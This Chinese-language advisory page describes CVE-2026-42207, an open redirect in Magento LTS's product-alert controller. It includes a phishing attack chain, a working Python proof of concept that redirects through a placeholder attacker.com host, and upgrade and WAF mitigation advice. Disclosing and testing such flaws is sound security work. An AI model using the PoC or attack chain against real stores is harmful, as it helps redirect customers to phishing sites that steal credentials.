IPBUF安全漏洞报告
English
CVE-2026-42207 CVSS 6.1 中危

CVE-2026-42207 Magento LTS开放重定向漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-42207
漏洞类型
开放重定向
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Magento Long Term Support (LTS)

相关标签

Open RedirectMagentoCWE-601PhishingWeb Vulnerability

漏洞概述

Magento LTS是社区驱动的电商平台。在20.18.0之前的版本中,`Mage_ProductAlert_AddController::stockAction()`存在安全缺陷。该控制器直接读取`uenc`查询参数并将其传递给重定向函数,未进行`_isUrlInternal()`内部URL验证。当提供的`product_id`无效时,服务器会向攻击者指定的URL发出未经验证的HTTP 302重定向。该漏洞可能被用于网络钓鱼攻击。

技术细节

该漏洞源于Magento LTS的`Mage_ProductAlert_AddController`控制器在处理缺货提醒请求时的逻辑缺陷。具体而言,`stockAction()`方法直接从HTTP GET请求中提取`uenc`参数,并将其作为目标URL传递给`$this->_redirectUrl($backUrl)`方法。代码缺失了关键的`$this->_isUrlInternal()`验证步骤,导致无法判断目标URL是否属于内部域名。利用该漏洞需要满足特定条件:攻击者构造的请求中`product_id`必须不存在于数据库中。当满足此条件时,应用程序逻辑会执行重定向操作,导致服务器向攻击者控制的外部地址(通过`uenc`参数指定)发送HTTP 302响应。虽然CVSS评分不高,但此类开放重定向漏洞常被攻击者结合社会工程学用于钓鱼攻击,窃取用户凭证或敏感信息。

攻击链分析

STEP 1
侦查
攻击者识别出目标网站使用的是Magento LTS且版本低于20.18.0。
STEP 2
武器化
攻击者构造一个恶意URL,包含一个不存在的`product_id`和包含钓鱼网站URL的`uenc`参数。
STEP 3
投递
攻击者将恶意链接通过电子邮件或社交媒体发送给目标用户(利用UI:R特性)。
STEP 4
利用
用户点击链接,服务器验证产品ID失败,执行302重定向将用户跳转至攻击者的钓鱼网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Magento LTS Open Redirect # Date: 2026-05-15 # Exploit Author: Analyst # Vendor Homepage: https://github.com/OpenMage/magento-lts # Version: < 20.18.0 def check_poc(target_domain): # Base64 encoded version of https://attacker.com # aHR0cHM6Ly9hdHRhY2tlci5jb20= # Magento uenc format often includes padding or specific structure, simplified here for PoC malicious_redirect = "aHR0cHM6Ly9hdHRhY2tlci5jb20=" # Use a non-existent product ID to trigger the error path url = f"{target_domain}/productalert/add/stock/product_id/99999999/uenc/{malicious_redirect}/" try: response = requests.get(url, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location') if location and "attacker.com" in location: print(f"[+] Vulnerable! Redirecting to: {location}") return True print("[-] Not vulnerable or PoC failed.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1/magento" check_poc(target)

影响范围

Magento Long Term Support (LTS) < 20.18.0

防御指南

临时缓解措施
建议立即升级至Magento LTS 20.18.0或更高版本。如果暂时无法升级,应在Web应用防火墙(WAF)上部署规则,拦截对`productalert/add/stock`端点的请求,或者检测并阻止包含外部域名的`uenc`参数,以阻断利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表